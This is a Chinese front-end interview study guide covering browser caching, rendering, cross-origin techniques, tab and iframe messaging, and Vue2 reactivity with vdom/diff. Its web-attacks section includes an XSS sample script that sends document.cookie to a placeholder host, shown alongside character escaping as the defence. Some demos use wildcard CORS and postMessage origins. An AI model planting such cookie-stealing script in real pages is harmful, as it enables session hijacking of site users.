Service Worker
中读取的
浏览器缓存机制
注意:该知识点属于性能优化领域,并且整一章节都是一个面试题
- 缓存可以说是性能优化中简单高效的一种优化方式了,它可以显著减少网络传输所带来的损耗。
- 对于一个数据请求来说,可以分为发起网络请求、后端处理、浏览器响应三个步骤。浏览器缓存可以帮助我们在第一和第三步骤中优化性能。比如说直接使用缓存而不发起请求,或者发起了请求但后端存储的数据和前端一致,那么就没有必要再将数据回传回来,这样就减少了响应数据。
接下来的内容中我们将通过以下几个部分来探讨浏览器缓存机制:
- 缓存位置
- 缓存策略
- 实际场景应用缓存策略
1. 缓存位置
从缓存位置上来说分为四种,并且各自有优先级,当依次查找缓存且都没有命中的时候,才会去请求网络
Service Worker
Memory Cache
Disk Cache
Push Cache
- 网络请求
1.1 Service Worker
service Worker
的缓存与浏览器其他内建的缓存机制不同,它可以让我们自由控制缓存哪些文件、如何匹配缓存、如何读取缓存,并且缓存是持续性的。- 当
Service Worker
没有命中缓存的时候,我们需要去调用fetch
函数获取数据。也就是说,如果我们没有在Service Worker
命中缓存的话,会根据缓存查找优先级去查找数据。但是不管我们是从Memory Cache
中还是从网络请求中获取的数据,浏览器都会显示我们是从Service Worker
中获取的内容。
1.2 Memory Cache
Memory Cache
也就是内存中的缓存,读取内存中的数据肯定比磁盘快。但是内存缓存虽然读取高效,可是缓存持续性很短,会随着进程的释放而释放。 一旦我们关闭Tab
页面,内存中的缓存也就被释放了。- 当我们访问过页面以后,再次刷新页面,可以发现很多数据都来自于内存缓存
那么既然内存缓存这么高效,我们是不是能让数据都存放在内存中呢?
- 先说结论,这是不可能的。首先计算机中的内存一定比硬盘容量小得多,操作系统需要精打细算内存的使用,所以能让我们使用的内存必然不多。内存中其实可以存储大部分的文件,比如说
JS
、HTML
、CSS
、图片等等 - 当然,我通过一些实践和猜测也得出了一些结论:
- 对于大文件来说,大概率是不存储在内存中的,反之优先当前系统内存使用率高的话,文件优先存储进硬盘
1.3 Disk Cache
Disk Cache
也就是存储在硬盘中的缓存,读取速度慢点,但是什么都能存储到磁盘中,比之Memory Cache
胜在容量和存储时效性上。- 在所有浏览器缓存中,
Disk Cache
覆盖面基本是最大的。它会根据HTTP Herder
中的字段判断哪些资源需要缓存,哪些资源可以不请求直接使用,哪些资源已经过期需要重新请求。并且即使在跨站点的情况下,相同地址的资源一旦被硬盘缓存下来,就不会再次去请求数据
1.4 Push Cache
Push Cache
是HTTP/2
中的内容,当以上三种缓存都没有命中时,它才会被使用。并且缓存时间也很短暂,只在会话(Session
)中存在,一旦会话结束就被释放。Push Cache
在国内能够查到的资料很少,也是因为HTTP/2
在国内不够普及,但是HTTP/2
将会是日后的一个趋势
结论
- 所有的资源都能被推送,但是
Edge
和Safari
浏览器兼容性不怎么好 - 可以推送
no-cache
和no-store
的资源 - 一旦连接被关闭,
Push Cache
就被释放 - 多个页面可以使用相同的
HTTP/2
连接,也就是说能使用同样的缓存 Push Cache
中的缓存只能被使用一次- 浏览器可以拒绝接受已经存在的资源推送
- 你可以给其他域名推送资源
1.5 网络请求
- 如果所有缓存都没有命中的话,那么只能发起请求来获取资源了。
- 那么为了性能上的考虑,大部分的接口都应该选择好缓存策略,接下来我们就来学习缓存策略这部分的内容
2 缓存策略
通常浏览器缓存策略分为两种:强缓存和协商缓存,并且缓存策略都是通过设置
HTTP Header
来实现的
2.1 强缓存
强缓存可以通过设置两种
HTTP Header
实现:Expires
和Cache-Control
。强缓存表示在缓存期间不需要请求,state code
为200
Expires
Expires: Wed, 22 Oct 2018 08:41:00 GMT
Expires
是HTTP/1
的产物,表示资源会在Wed, 22 Oct 2018 08:41:00 GMT
后过期,需要再次请求。并且Expires
受限于本地时间,如果修改了本地时间,可能会造成缓存失效。
Cache-control
Cache-control: max-age=30
Cache-Control
出现于HTTP/1.1
,优先级高于Expires
。该属性值表示资源会在30
秒后过期,需要再次请求。Cache-Control
可以在请求头或者响应头中设置,并且可以组合使用多种指令
从图中我们可以看到,我们可以将多个指令配合起来一起使用,达到多个目的。比如说我们希望资源能被缓存下来,并且是客户端和代理服务器都能缓存,还能设置缓存失效时间等
一些常见指令的作用
2.2 协商缓存
- 如果缓存过期了,就需要发起请求验证资源是否有更新。协商缓存可以通过设置两种
HTTP Header
实现:Last-Modified
和ETag
- 当浏览器发起请求验证资源时,如果资源没有做改变,那么服务端就会返回
304
状态码,并且更新浏览器缓存有效期。
Last-Modified 和 If-Modified-Since
Last-Modified
表示本地文件最后修改日期,If-Modified-Since
会将Last-Modified
的值发送给服务器,询问服务器在该日期后资源是否有更新,有更新的话就会将新的资源发送回来,否则返回304
状态码。
但是 Last-Modified
存在一些弊端:
- 如果本地打开缓存文件,即使没有对文件进行修改,但还是会造成
Last-Modified
被修改,服务端不能命中缓存导致发送相同的资源 - 因为
Last-Modified
只能以秒计时,如果在不可感知的时间内修改完成文件,那么服务端会认为资源还是命中了,不会返回正确的资源 因为以上这些弊端,所以在HTTP / 1.1
出现了ETag
ETag 和 If-None-Match
ETag
类似于文件指纹,If-None-Match
会将当前ETag
发送给服务器,询问该资源ETag
是否变动,有变动的话就将新的资源发送回来。并且ETag
优先级比Last-Modified
高。
以上就是缓存策略的所有内容了,看到这里,不知道你是否存在这样一个疑问。如果什么缓存策略都没设置,那么浏览器会怎么处理?
对于这种情况,浏览器会采用一个启发式的算法,通常会取响应头中的 Date
减去 Last-Modified
值的 10%
作为缓存时间。
2.3 实际场景应用缓存策略
频繁变动的资源
对于频繁变动的资源,首先需要使用
Cache-Control: no-cache
使浏览器每次都请求服务器,然后配合ETag
或者Last-Modified
来验证资源是否有效。这样的做法虽然不能节省请求数量,但是能显著减少响应数据大小。
代码文件
这里特指除了
HTML
外的代码文件,因为HTML
文件一般不缓存或者缓存时间很短。
一般来说,现在都会使用工具来打包代码,那么我们就可以对文件名进行哈希处理,只有当代码修改后才会生成新的文件名。基于此,我们就可以给代码文件设置缓存有效期一年 Cache-Control: max-age=31536000
,这样只有当 HTML
文件中引入的文件名发生了改变才会去下载最新的代码文件,否则就一直使用缓存
更多缓存知识详解 http://blog.poetries.top/2019/01/02/browser-cache
从输入URL 到网页显示的完整过程
- 网络请求
DNS
查询(得到IP
),建立TCP
连接(三次握手)- 浏览器发送
HTTP
请求 - 收到请求响应,得到
HTML
源码。继续请求静态资源- 在解析
HTML
过程中,遇到静态资源(JS
、CSS
、图片等)还会继续发起网络请求 - 静态资源可能有缓存
- 在解析
- 解析:字符串= >结构化数据
HTML
构建DOM
树CSS
构建CSSOM
树(style tree
)- 两者结合,形成
render tree
- 优化解析
CSS
放在<head/>
中,不要异步加载CSS
JS
放到<body/>
下面,不阻塞HTML
解析(或结合defer
、async
)<img />
提前定义width
、height
,避免页面重新渲染
- 渲染:Render Tree绘制到页面
- 计算
DOM
的尺寸、定位,最后绘制到页面 - 遇到
JS
会执行,阻塞HTML
解析。如果设置了defer
,则并行下载JS
,等待HTML
解析完,在执行JS
;如果设置了async
,则并行下载JS
,下载完立即执行,在继续解析HTML
(JS
是单线程的,JS
执行和DOM
渲染互斥,等JS
执行完,在解析渲染DOM
) - 异步
CSS
、异步图片,可能会触发重新渲染
- 计算
连环问:网页重绘repaint和重排reflow有什么区别
- 重绘
- 元素外观改变:如颜色、背景色
- 但元素的尺寸、定位不变,不会影响其他元素的位置
- 重排
- 重新计算尺寸和布局,可能会影响其他元素的位置
- 如元素高度的增加,可能会使相邻的元素位置改变
- 重排必定触发重绘,重绘不一定触发重排。重绘的开销较小,重排的代价较高。
- 减少重排的方法
- 使用
BFC
特性,不影响其他元素位置 - 频繁触发(
resize
、scroll
)使用节流和防抖 - 使用
createDocumentFragment
批量操作DOM
- 编码上,避免连续多次修改,可通过合并修改,一次触发
- 对于大量不同的
dom
修改,可以先将其脱离文档流,比如使用绝对定位,或者display:none
,在文档流外修改完成后再放回文档里中 - 动画实现的速度的选择,动画速度越快,回流次数越多,也可以选择使用
requestAnimationFrame
css3
硬件加速,transform
、opacity
、filters
,开启后,会新建渲染层
- 使用
常见的web前端攻击方式有哪些
XSS
Cross Site Script
跨站脚本攻击- 手段:黑客将JS代码插入到网页内容中,渲染时执行
JS
代码 - 预防:特殊字符串替换(前端或后端)
// 用户提交
const str = `
<p>123123</p>
<script>
var img = document.createElement('image')
// 把cookie传递到黑客网站 img可以跨域
img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie
</script>
`
const newStr = str.replaceAll('<', '<').replaceAll('>', '>')
// 替换字符,无法在页面中渲染
// <script>
// var img = document.createElement('image')
// img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie
// </script>
CSRF
Cross Site Request Forgery
跨站请求伪造- 手段:黑盒诱导用户去访问另一个网站的接口,伪造请求
- 预防:严格的跨域限制 + 验证码机制
- 判断
referer
- 为
cookie
设置sameSite
属性,禁止第三方网页跨域的请求能携带上cookie
- 使用
token
- 关键接口使用短信验证码
- 判断
注意:偷取
cookie
是XSS
做的事,CSRF
的作用是借用cookie
,并不能获取cookie
CSRF攻击攻击原理及过程如下:
- 用户登录了
A
网站,有了cookie
- 黑盒诱导用户到
B
网站,并发起A
网站的请求 A
网站的API
发现有cookie
,会在请求中携带A
网站的cookie
,认为是用户自己操作的
点击劫持
- 手段:诱导界面上设置透明的
iframe
,诱导用户点击 - 预防:让
iframe
不能跨域加载
DDOS
Distribute denial-of-service
分布式拒绝服务- 手段:分布式的大规模的流量访问,使服务器瘫痪
- 预防:软件层不好做,需硬件预防(如阿里云的
WAF
购买高防)
SQL注入
- 手段:黑客提交内容时,写入
sql
语句,破坏数据库 - 预防:处理内容的输入,替换特殊字符
跨域方案
因为浏览器出于安全考虑,有同源策略。也就是说,如果
协议
、域名
、端口
有一个不同就是跨域,Ajax
请求会失败。
我们可以通过以下几种常用方法解决跨域的问题
4.1 JSONP
JSONP
的原理很简单,就是利用<script>
标签没有跨域限制的漏洞。通过<script>
标签指向一个需要访问的地址并提供一个回调函数来接收数据
涉及到的端
JSONP
需要服务端和前端配合实现。
<script src="http://domain/api?param1=a¶m2=b&callback=jsonp"></script>
<script>
function jsonp(data) {
console.log(data)
}
</script>
JSONP
使用简单且兼容性不错,但是只限于get
请求
具体实现方式
- 在开发中可能会遇到多个
JSONP
请求的回调函数名是相同的,这时候就需要自己封装一个JSONP
,以下是简单实现
function jsonp(url, jsonpCallback, success) {
let script = document.createElement("script");
script.src = url;
script.async = true;
script.type = "text/javascript";
window[jsonpCallback] = function(data) {
success && success(data);
};
document.body.appendChild(script);
}
jsonp(
"http://xxx",
"callback",
function(value) {
console.log(value);
}
);
4.2 CORS
CORS
(Cross-Origin Resource Sharing,跨域资源共享) 是目前最为广泛的解决跨域问题的方案。方案依赖服务端/后端在响应头中添加 Access-Control-Allow-* 头,告知浏览器端通过此请求
涉及到的端
CORS
只需要服务端/后端支持即可,不涉及前端改动
CORS
需要浏览器和后端同时支持。IE 8
和9
需要通过XDomainRequest
来实现。- 浏览器会自动进行
CORS
通信,实现CORS
通信的关键是后端。只要后端实现了CORS
,就实现了跨域。 - 服务端设置
Access-Control-Allow-Origin
就可以开启CORS
。 该属性表示哪些域名可以访问资源,如果设置通配符则表示所有网站都可以访问资源。
CORS
实现起来非常方便,只需要增加一些 HTTP
头,让服务器能声明允许的访问来源
只要后端实现了 CORS
,就实现了跨域
以 koa
框架举例
添加中间件,直接设置Access-Control-Allow-Origin
请求头
app.use(async (ctx, next)=> {
ctx.set('Access-Control-Allow-Origin', '*');
ctx.set('Access-Control-Allow-Headers', 'Content-Type, Content-Length, Authorization, Accept, X-Requested-With , yourHeaderFeild');
ctx.set('Access-Control-Allow-Methods', 'PUT, POST, GET, DELETE, OPTIONS');
if (ctx.method == 'OPTIONS') {
ctx.body = 200;
} else {
await next();
}
})
具体实现方式
CORS
将请求分为简单请求(Simple Requests)和需预检请求(Preflighted requests),不同场景有不同的行为
- 简单请求 :不会触发预检请求的称为简单请求。当请求满足以下条件时就是一个简单请求:
- 请求方法:
GET
、HEAD
、POST
。 - 请求头:
Accept
、Accept-Language
、Content-Language
、Content-Type
。Content-Type
仅支持:application/x-www-form-urlencoded
、multipart/form-data
、text/plain
- 请求方法:
- 需预检请求 :当一个请求不满足以上简单请求的条件时,浏览器会自动向服务端发送一个
OPTIONS
请求,通过服务端返回的Access-Control-Allow-*
判定请求是否被允许
CORS
引入了以下几个以 Access-Control-Allow-*
开头:
Access-Control-Allow-Origin
表示允许的来源Access-Control-Allow-Methods
表示允许的请求方法Access-Control-Allow-Headers
表示允许的请求头Access-Control-Allow-Credentials
表示允许携带认证信息
当请求符合响应头的这些条件时,浏览器才会发送并响应正式的请求
4.3 nginx反向代理
反向代理只需要服务端/后端支持,几乎不涉及前端改动,只用切换接口即可
nginx 配置跨域,可以为全局配置和单个代理配置(两者不能同时配置)
- 全局配置 ,在
nginx.conf
文件中的http
节点加入跨域信息
http {
# 跨域配置
add_header 'Access-Control-Allow-Origin' '$http_origin' ;
add_header 'Access-Control-Allow-Credentials' 'true' ;
add_header 'Access-Control-Allow-Methods' 'PUT,POST,GET,DELETE,OPTIONS' ;
add_header 'Access-Control-Allow-Headers' 'Content-Type,Content-Length,Authorization,Accept,X-Requested-With' ;
}
- 局部配置 (单个代理配置跨域), 在路径匹配符中加入跨域信息
server {
listen 8080;
server_name server_name;
charset utf-8;
location / {
# 这里配置单个代理跨域,跨域配置
add_header 'Access-Control-Allow-Origin' '$http_origin' ;
add_header 'Access-Control-Allow-Credentials' 'true' ;
add_header 'Access-Control-Allow-Methods' 'PUT,POST,GET,DELETE,OPTIONS' ;
add_header 'Access-Control-Allow-Headers' 'Content-Type,Content-Length,Authorization,Accept,X-Requested-With' ;
#配置代理 代理到本机服务端口
proxy_pass http://127.0.0.1:9000;
proxy_redirect off;
proxy_set_header Host $host:$server_port;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
4.4 Node 中间层接口转发
const router = require('koa-router')()
const rp = require('request-promise');
// 通过node中间层转发实现接口跨域
router.post('/github', async (ctx, next) => {
let {category = 'trending',lang = 'javascript',limit,offset,period} = ctx.request.body
lang = lang || 'javascript'
limit = limit || 30
offset = offset || 0
period = period || 'week'
let res = await rp({
method: 'POST',
// 跨域的接口
uri: `https://e.juejin.cn/resources/github`,
body: {
category,
lang,
limit,
offset,
period
},
json: true
})
ctx.body = res
})
module.exports = router
4.5 Proxy
如果是通过vue-cli
脚手架工具搭建项目,我们可以通过webpack
为我们起一个本地服务器作为请求的代理对象
通过该服务器转发请求至目标服务器,得到结果再转发给前端,但是最终发布上线时如果web应用和接口服务器不在一起仍会跨域
在vue.config.js
文件,新增以下代码
module.exports = {
devServer: {
host: '127.0.0.1',
port: 8080,
open: true,// vue项目启动时自动打开浏览器
proxy: {
'/api': { // '/api'是代理标识,用于告诉node,url前面是/api的就是使用代理的
target: "http://xxx.xxx.xx.xx:8080", //目标地址,一般是指后台服务器地址
changeOrigin: true, //是否跨域
pathRewrite: { // pathRewrite 的作用是把实际Request Url中的'/api'用""代替
'^/api': ""
}
}
}
}
}
通过axios
发送请求中,配置请求的根路径
axios.defaults.baseURL = '/api'
此外,还可通过服务端实现代理请求转发,以express
框架为例
var express = require('express');
const proxy = require('http-proxy-middleware')
const app = express()
app.use(express.static(__dirname + '/'))
app.use('/api', proxy({ target: 'http://localhost:4000', changeOrigin: false
}));
module.exports = app
4.6 websocket
webSocket
本身不存在跨域问题,所以我们可以利用webSocket
来进行非同源之间的通信
原理:利用
webSocket
的API
,可以直接new
一个socket
实例,然后通过open
方法内send
要传输到后台的值,也可以利用message
方法接收后台传来的数据。后台是通过new WebSocket.Server({port:3000})
实例,利用message
接收数据,利用send
向客户端发送数据。具体看以下代码:
function socketConnect(url) {
// 客户端与服务器进行连接
let ws = new WebSocket(url); // 返回`WebSocket`对象,赋值给变量ws
// 连接成功回调
ws.onopen = e => {
console.log('连接成功', e)
ws.send('我发送消息给服务端'); // 客户端与服务器端通信
}
// 监听服务器端返回的信息
ws.onmessage = e => {
console.log('服务器端返回:', e.data)
// do something
}
return ws; // 返回websocket对象
}
let wsValue = socketConnect('ws://121.40.165.18:8800'); // websocket对象
4.7 document.domain(不常用)
- 该方式只能用于二级域名相同的情况下,比如
a.test.com
和b.test.com
适用于该方式。 - 只需要给页面添加
document.domain = 'test.com'
表示二级域名都相同就可以实现跨域 - 自
Chrome 101
版本开始,document.domain
将变为可读属性,也就是意味着上述这种跨域的方式被禁用了
4.8 postMessage(不常用)
在两个 origin
下分别部署一套页面 A
与 B
,A
页面通过 iframe
加载 B
页面并监听消息,B
页面发送消息
这种方式通常用于获取嵌入页面中的第三方页面数据。一个页面发送消息,另一个页面判断来源并接收消息
// 发送消息端
window.parent.postMessage('message', 'http://test.com');
// 接收消息端
var mc = new MessageChannel();
mc.addEventListener('message', (event) => {
var origin = event.origin || event.originalEvent.origin;
if (origin === 'http://test.com') {
console.log('验证通过')
}
});
4.9 window.name(不常用)
主要是利用
window.name
页面跳转不改变的特性实现跨域,即iframe
加载一个跨域页面,设置window.name
,跳转到同域页面,可以通过$('iframe').contentWindow.name
拿到跨域页面的数据
实例说明
比如有一个www.example.com/a.html
页面。需要通过a.html
页面里的js
来获取另一个位于不同域上的页面www.test.com/data.html
中的数据。
data.html
页面中设置一个window.name
即可,代码如下
<script>
window.name = "我是data.html中设置的a页面想要的数据";
</script>
- 那么接下来问题来了,我们怎么把
data.html
页面载入进来呢,显然我们不能直接在a.html
页面中通过改变window.location
来载入data.html
页面(因为我们现在需要实现的是a.html
页面不跳转,但是也能够获取到data.html
中的数据) - 具体的实现其实就是在
a.html
页面中使用一个隐藏的iframe
来充当一个中间角色,由iframe
去获取data.html
的数据,然后a.html
再去得到iframe
获取到的数据。 - 充当中间人的
iframe
想要获取到data.html
中通过window.name
设置的数据,只要要把这个iframe
的src
设置为www.test.com/data.html
即可,然后a.html
想要得到iframe
所获取到的数据,也就是想要得到iframe
的widnow.name
的值,还必须把这个iframe
的src
设置成跟a.html
页面同一个域才行,不然根据同源策略,a.html
是不能访问到iframe
中的window.name
属性的
<!-- a.html中的代码 -->
<iframe id="proxy" src="http://www.test.com/data.html" style="display: none;" onload = "getData()">
<script>
function getData(){
var iframe = document.getElementById('proxy);
iframe.onload = function(){
var data = iframe.contentWindow.name;
//上述即为获取iframe里的window.name也就是data.html页面中所设置的数据;
}
iframe.src = 'b.html'; //这里的b为随便的一个页面,只有与a.html同源就行,目的让a.html等访问到iframe里的东西,设置成about:blank也行
}
</script>
上面的代码只是最简单的原理演示代码,你可以对使用js封装上面的过程,比如动态的创建iframe
,动态的注册各种事件等等,当然为了安全,获取完数据后,还可以销毁作为代理的iframe
4.10 扩展阅读
跨域与监控
前端项目在统计前端报错监控时会遇到上报的内容只有 Script Error
的问题。这个问题也是由同源策略引起。在 <script>
标签上添加 crossorigin="anonymous"
并且返回的 JS 文件响应头加上 Access-Control-Allow-Origin: *
即可捕捉到完整的错误堆栈
跨域与图片
前端项目在图片处理时可能会遇到图片绘制到 Canvas
上之后却不能读取像素或导出 base64
的问题。这个问题也是由同源策略引起。解决方式和上文相同,给图片添加 crossorigin="anonymous"
并在返回的图片文件响应头加上 Access-Control-Allow-Origin: *
即可解决
移动端H5点击有300ms延迟,该如何解决
解决方案
- 禁用缩放,设置
meta
标签user-scalable=no
- 现在浏览器方案
meta
中设置content="width=device-width"
fastclick.js
初期解决方案 fastClick
// 使用
window.addEventListener('load',()=>{
FastClick.attach(document.body)
},false)
fastClick原理
- 监听
touchend
事件(touchstart
touchend
会先于click
触发) - 使用自定义
DOM
事件模拟一个click
事件 - 把默认的
click
事件(300ms
之后触发)禁止掉
触摸事件的响应顺序
ontouchstart
ontouchmove
ontouchend
onclick
现代浏览器的改进
meta
中设置content="width=device-width"
就不会有300ms
的点击延迟了。浏览器认为你要在移动端做响应式布局,所以就禁止掉了
<head>
<meta name="viewport" content="width=device-width,initial-scale=1.0" />
</head>
如何实现网页多标签tab通讯
- 通过
websocket
- 无跨域限制
- 需要服务端支持,成本高
- 通过
localStorage
同域通讯(推荐)同域
的A
和B
两个页面A
页面设置localStorage
B
页面可监听到localStorage
值的修改
- 通过
SharedWorker
通讯SharedWorker
是WebWorker
的一种WebWorker
可开启子进程执行JS
,但不能操作DOM
SharedWorker
可单独开启一个进程,用于同域页面通讯SharedWorker
兼容性不太好,调试不方便,IE11
不支持
localStorage通讯例子
<!-- 列表页 -->
<p>localStorage message - list page</p>
<script>
// 监听storage事件
window.addEventListener('storage', event => {
console.info('key', event.key)
console.info('value', event.newValue)
})
</script>
<!-- 详情页 -->
<p>localStorage message - detail page</p>
<button id="btn1">修改标题</button>
<script>
const btn1 = document.getElementById('btn1')
btn1.addEventListener('click', () => {
const newInfo = {
id: 100,
name: '标题' + Date.now()
}
localStorage.setItem('changeInfo', JSON.stringify(newInfo))
})
// localStorage 跨域不共享
</script>
SharedWorker通讯例子
本地调试的时候打开chrome隐私模式验证,如果没有收到消息,打开chrome://inspect/#workers
=> sharedWorkers
=> 点击inspect
<p>SharedWorker message - list page</p>
<script>
const worker = new SharedWorker('./worker.js')
worker.port.onmessage = e => console.info('list', e.data)
</script>
<p>SharedWorker message - detail page</p>
<button id="btn1">修改标题</button>
<script>
const worker = new SharedWorker('./worker.js')
const btn1 = document.getElementById('btn1')
btn1.addEventListener('click', () => {
console.log('clicked')
worker.port.postMessage('detail go...')
})
</script>
// worker.js
/**
* @description for SharedWorker
*/
const set = new Set()
onconnect = event => {
const port = event.ports[0]
set.add(port)
// 接收信息
port.onmessage = e => {
// 广播消息
set.forEach(p => {
if (p === port) return // 不给自己广播
p.postMessage(e.data)
})
}
// 发送信息
port.postMessage('worker.js done')
}
连环问:如何实现网页和iframe之间的通讯
- 使用
postMessage
通信 - 注意跨域的限制和判断,判断域名的合法性
演示
<!-- 首页 -->
<p>
index page
<button id="btn1">发送消息</button>
</p>
<iframe id="iframe1" src="./child.html"></iframe>
<script>
document.getElementById('btn1').addEventListener('click', () => {
console.info('index clicked')
window.iframe1.contentWindow.postMessage('hello', '*') // * 没有域名限制
})
// 接收child的消息
window.addEventListener('message', event => {
console.info('origin', event.origin) // 来源的域名
console.info('index received', event.data)
})
</script>
<!-- 子页面 -->
<p>
child page
<button id="btn1">发送消息</button>
</p>
<script>
document.getElementById('btn1').addEventListener('click', () => {
console.info('child clicked')
// child被嵌入到index页面,获取child的父页面
window.parent.postMessage('world', '*') // * 没有域名限制
})
// 接收parent的消息
window.addEventListener('message', event => {
console.info('origin', event.origin) // 判断 origin 的合法性
console.info('child received', event.data)
})
</script>
效果
requestIdleCallback和requestAnimationFrame有什么区别
由react fiber
引起的关注
- 组件树转为链表,可分段渲染
- 渲染时可以暂停,去执行其他高优先级任务,空闲时在继续渲染(
JS
是单线程的,JS
执行的时候没法去DOM
渲染) - 如何判断空闲?
requestIdleCallback
区别
requestAnimationFrame
每次渲染完在执行,高优先级requestIdleCallback
空闲时才执行,低优先级- 都是宏任务,要等待DOM渲染完后在执行
<p>requestAnimationFrame</p>
<button id="btn1">change</button>
<div id="box"></div>
<script>
const box = document.getElementById('box')
document.getElementById('btn1').addEventListener('click', () => {
let curWidth = 100
const maxWidth = 400
function addWidth() {
curWidth = curWidth + 3
box.style.width = `${curWidth}px`
if (curWidth < maxWidth) {
window.requestAnimationFrame(addWidth) // 时间不用自己控制
}
}
addWidth()
})
</script>
window.onload = () => {
console.info('start')
setTimeout(() => {
console.info('timeout')
})
// 空闲时间才执行
window.requestIdleCallback(() => {
console.info('requestIdleCallback')
})
window.requestAnimationFrame(() => {
console.info('requestAnimationFrame')
})
console.info('end')
}
// start
// end
// timeout
// requestAnimationFrame
// requestIdleCallback
script标签的defer和async有什么区别
script
:HTML
暂停解析,下载JS
,执行JS
,在继续解析HTML
。defer
:HTML
继续解析,并行下载JS
,HTML
解析完在执行JS
(不用把script
放到body
后面,我们在head
中<script defer>
让js
脚本并行加载会好点)async
:HTML
继续解析,并行下载JS
,执行JS
(加载完毕后立即执行
),在继续解析HTML
- 加载完毕后立即执行,这导致
async
属性下的脚本是乱序的,对于script
有先后依赖关系的情况,并不适用
- 加载完毕后立即执行,这导致
注意:
JS
是单线程的,JS
解析线程和DOM
解析线程共用同一个线程,JS执行和HTML解析是互斥的
,加载资源可以并行
蓝色线代表网络读取,红色线代表执行时间,这俩都是针对脚本的;绿色线代表
HTML
解析
连环问:prefetch和dns-prefetch分别是什么
preload和prefetch
preload
资源在当前页面使用,会优先加载prefetch
资源在未来页面使用,空闲时加载
<head>
<!-- 当前页面使用 -->
<link rel="preload" href="style.css" as="style" />
<link rel="preload" href="main.js" as="script" />
<!-- 未来页面使用 提前加载 比如新闻详情页 -->
<link rel="prefetch" href="other.js" as="script" />
<!-- 当前页面 引用css -->
<link rel="stylesheet" href="style.css" />
</head>
<body>
<!-- 当前页面 引用js -->
<script src="main.js" defer></script>
</body>
dns-preftch和preconnect
dns-pretch
DNS
预查询preconnect
DNS
预连接
通过预查询和预连接减少
DNS
解析时间
<head>
<!-- 针对未来页面提前解析:提高打开速度 -->
<link rel="dns-pretch" href="https://font.static.com" />
<link rel="preconnect" href="https://font.static.com" crossorigin />
</head>
4 Vue2
响应式原理
响应式
- 组件
data
数据一旦变化,立刻触发视图的更新 - 实现数据驱动视图的第一步
- 核心
API
:Object.defineProperty
- 缺点
- 深度监听,需要递归到底,一次计算量大
- 无法监听新增属性、删除属性(使用
Vue.set
、Vue.delete
可以) - 无法监听原生数组,需要重写数组原型
- 缺点
// 触发更新视图
function updateView() {
console.log('视图更新')
}
// 重新定义数组原型
const oldArrayProperty = Array.prototype
// 创建新对象,原型指向 oldArrayProperty ,再扩展新的方法不会影响原型
const arrProto = Object.create(oldArrayProperty);
['push', 'pop', 'shift', 'unshift', 'splice'].forEach(methodName => {
arrProto[methodName] = function () {
updateView() // 触发视图更新
oldArrayProperty[methodName].call(this, ...arguments)
// Array.prototype.push.call(this, ...arguments)
}
})
// 重新定义属性,监听起来
function defineReactive(target, key, value) {
// 深度监听
observer(value)
// 核心 API
Object.defineProperty(target, key, {
get() {
return value
},
set(newValue) {
if (newValue !== value) {
// 深度监听
observer(newValue)
// 设置新值
// 注意,value 一直在闭包中,此处设置完之后,再 get 时也是会获取最新的值
value = newValue
// 触发更新视图
updateView()
}
}
})
}
// 监听对象属性
function observer(target) {
if (typeof target !== 'object' || target === null) {
// 不是对象或数组
return target
}
// 污染全局的 Array 原型
// Array.prototype.push = function () {
// updateView()
// ...
// }
if (Array.isArray(target)) {
target.__proto__ = arrProto
}
// 重新定义各个属性(for in 也可以遍历数组)
for (let key in target) {
defineReactive(target, key, target[key])
}
}
// 准备数据
const data = {
name: 'zhangsan',
age: 20,
info: {
address: 'shenzhen' // 需要深度监听
},
nums: [10, 20, 30]
}
// 监听数据
observer(data)
// 测试
// data.name = 'lisi'
// data.age = 21
// // console.log('age', data.age)
// data.x = '100' // 新增属性,监听不到 —— 所以有 Vue.set
// delete data.name // 删除属性,监听不到 —— 所有有 Vue.delete
// data.info.address = '上海' // 深度监听
data.nums.push(4) // 监听数组
// proxy-demo
// const data = {
// name: 'zhangsan',
// age: 20,
// }
const data = ['a', 'b', 'c']
const proxyData = new Proxy(data, {
get(target, key, receiver) {
// 只处理本身(非原型的)属性
const ownKeys = Reflect.ownKeys(target)
if (ownKeys.includes(key)) {
console.log('get', key) // 监听
}
const result = Reflect.get(target, key, receiver)
return result // 返回结果
},
set(target, key, val, receiver) {
// 重复的数据,不处理
if (val === target[key]) {
return true
}
const result = Reflect.set(target, key, val, receiver)
console.log('set', key, val)
// console.log('result', result) // true
return result // 是否设置成功
},
deleteProperty(target, key) {
const result = Reflect.deleteProperty(target, key)
console.log('delete property', key)
// console.log('result', result) // true
return result // 是否删除成功
}
})
vdom和diff算法
1. vdom
背景
DOM
操作非常耗时- 以前用
jQuery
,可以自行控制DOM
操作时机,手动调整 Vue
和React
是数据驱动视图,如何有效控制DOM
操作
解决方案VDOM
- 有了一定的复杂度,想减少计算次数比较难
- 能不能把计算,更多的转移为JS计算?因为
JS
执行速度很快 vdom
用JS
模拟DOM
结构,计算出最小的变更,操作DOM
用JS模拟DOM结构
通过snabbdom学习vdom
- 简洁强大的
vdom
库 vue2
参考它实现的vdom
和diff
- snabbdom
h
函数vnode
数据结构patch
函数
- 简洁强大的
vdom总结
- 用
JS
模拟DOM
结构(vnode
) - 新旧
vnode
对比,得出最小的更新范围,有效控制DOM
操作 - 数据驱动视图模式下,有效控制
DOM
操作
- 用
2. diff算法
diff
算法是vdom
中最核心、最关键的部分diff
算法能在日常使用vue
react
中体现出来(如key
)
树的diff的时间复杂度O(n^3)
- 第一,遍历
tree1
- 第二,遍历
tree2
- 第三,排序
1000
个节点,要计算10
亿次,算法不可用
优化时间复杂度到O(n)
- 只比较同一层级,不跨级比较
tag
不相同,则直接删掉重建,不再深度比较tag
和key
相同,则认为是相同节点,不再深度比较
diff过程细节
- 新旧节点都有
children
,执行updateChildren
diff
对比- 开始和开始对比--头头
- 结束和结束对比--尾尾
- 开始和结束对比--头尾
- 结束和开始对比--尾头
- 以上四个都未命中:拿新节点
key
,能否对应上oldCh
中的某个节点的key
- 新
children
有,旧children
无:清空旧text
节点,新增新children
节点 - 旧
children
有,新children
无:移除旧children
- 否则旧
text
有,设置text
为空
vdom和diff算法总结
- 细节不重要,
updateChildren
的过程也不重要,不要深究 vdom
的核心概念很重要:h
、vnode
、patch
、diff
、key
vdom
存在的价值更重要,数据驱动视图,控制dom
操作
// snabbdom源码位于 src/snabbdom.ts
/* global module, document, Node */
import { Module } from './modules/module';
import vnode, { VNode } from './vnode';
import * as is from './is';
import htmlDomApi, { DOMAPI } from './htmldomapi';
